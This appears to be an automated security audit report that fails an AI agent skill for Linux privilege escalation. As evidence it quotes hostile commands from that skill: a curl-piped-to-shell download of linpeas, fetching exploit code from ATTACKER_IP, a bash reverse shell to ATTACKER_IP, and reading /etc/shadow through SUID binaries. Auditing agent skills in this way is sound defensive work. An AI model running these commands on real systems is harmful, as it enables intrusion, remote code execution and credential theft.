Linux Privilege Escalation

Fail

Audited by Gen Agent Trust Hub on Jul 28, 2026

Risk Level: HIGHREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONCREDENTIALS_UNSAFE
Full Analysis
  • [REMOTE_CODE_EXECUTION]: The skill instructs the agent to download and execute scripts directly from external sources using high-risk patterns.
  • Evidence: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh in Phase 2.
  • Evidence: Downloading and compiling exploit source code from an attacker-controlled server (wget http://ATTACKER_IP/exploit.c && gcc exploit.c -o exploit).
  • [DATA_EXFILTRATION]: The skill provides multiple methods for establishing reverse shells to external IP addresses, which can be used to exfiltrate data or maintain unauthorized access.
  • Evidence: Bash reverse shell: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1.
  • Evidence: Python, Netcat, and Perl one-liners designed to connect the target system to an external attacker machine.
  • [CREDENTIALS_UNSAFE]: The skill facilitates the discovery and harvesting of sensitive system credentials.
  • Evidence: Instructions to read /etc/shadow and /etc/passwd using SUID binaries like base64 or nano to facilitate offline password cracking.
  • Evidence: Instructions to generate password hashes and inject new users into the /etc/passwd file.
  • [COMMAND_EXECUTION]: The skill utilizes a wide array of dangerous command patterns to escalate privileges.
  • Evidence: PATH hijacking by manipulating the environment variable (export PATH=/tmp:$PATH).
  • Evidence: Abuse of sudo privileges and LD_PRELOAD to execute arbitrary code as the root user.
  • Evidence: Exploitation of SUID binaries and Linux capabilities to bypass standard permission sets.
Recommendations
  • HIGH: Downloads and executes remote code from: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh - DO NOT USE without thorough review
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Jul 28, 2026, 05:45 AM
Security Audit — agent-trust-hub — Linux Privilege Escalation